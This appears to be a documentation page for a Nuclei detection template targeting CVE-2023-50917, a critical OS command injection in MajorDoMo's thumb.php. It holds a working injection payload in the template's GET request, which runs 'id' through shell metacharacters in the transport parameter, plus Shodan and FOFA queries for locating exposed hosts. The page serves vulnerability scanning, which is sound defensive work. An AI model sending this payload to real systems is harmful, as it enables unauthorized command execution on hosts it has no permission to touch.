MajorDoMo thumb.php - OS Command Injection
ID: CVE-2023-50917
Severity: critical
Author: DhiyaneshDK
Tags: packetstorm,seclists,cve,cve2023,majordomo,rce,os,mjdm
Description
Section titled “Description”MajorDoMo (aka Major Domestic Module) before 0662e5e allows command execution via thumb.php shell metacharacters. NOTE: this is unrelated to the Majordomo mailing-list manager.
YAML Source
Section titled “YAML Source”id: CVE-2023-50917
info: name: MajorDoMo thumb.php - OS Command Injection author: DhiyaneshDK severity: critical description: | MajorDoMo (aka Major Domestic Module) before 0662e5e allows command execution via thumb.php shell metacharacters. NOTE: this is unrelated to the Majordomo mailing-list manager. reference: - http://packetstormsecurity.com/files/176273/MajorDoMo-Remote-Code-Execution.html - http://seclists.org/fulldisclosure/2023/Dec/19 - https://github.com/sergejey/majordomo/commit/0662e5ebfb133445ff6154b69c61019357092178 - https://github.com/sergejey/majordomo/commit/3ec3ffb863ea3c2661ab27d398776c551f4daaac - https://nvd.nist.gov/vuln/detail/CVE-2023-50917 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-50917 cwe-id: CWE-77 epss-score: 0.70095 epss-percentile: 0.98019 cpe: cpe:2.3:a:mjdm:majordomo:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: mjdm product: majordomo shodan-query: http.favicon.hash:1903390397 fofa-query: - app="MajordomoSL" - app="majordomosl" - icon_hash=1903390397 tags: packetstorm,seclists,cve,cve2023,majordomo,rce,os,mjdm
http: - method: GET path: - "{{BaseURL}}/modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B"
matchers-condition: and matchers: - type: regex part: body regex: - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)" - 'rtsp_transport' condition: and
- type: status status: - 200# digest: 4b0a00483046022100cc32a6f4e00533da095bdc96dd5cb3b05051a0914611fd77fb9b7d0d3e3de2f8022100dc4e243fa3c0a84aa435e266ea164a1d1bb4f5253aa1bc569452e7d40e7b032a:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-50917.yaml"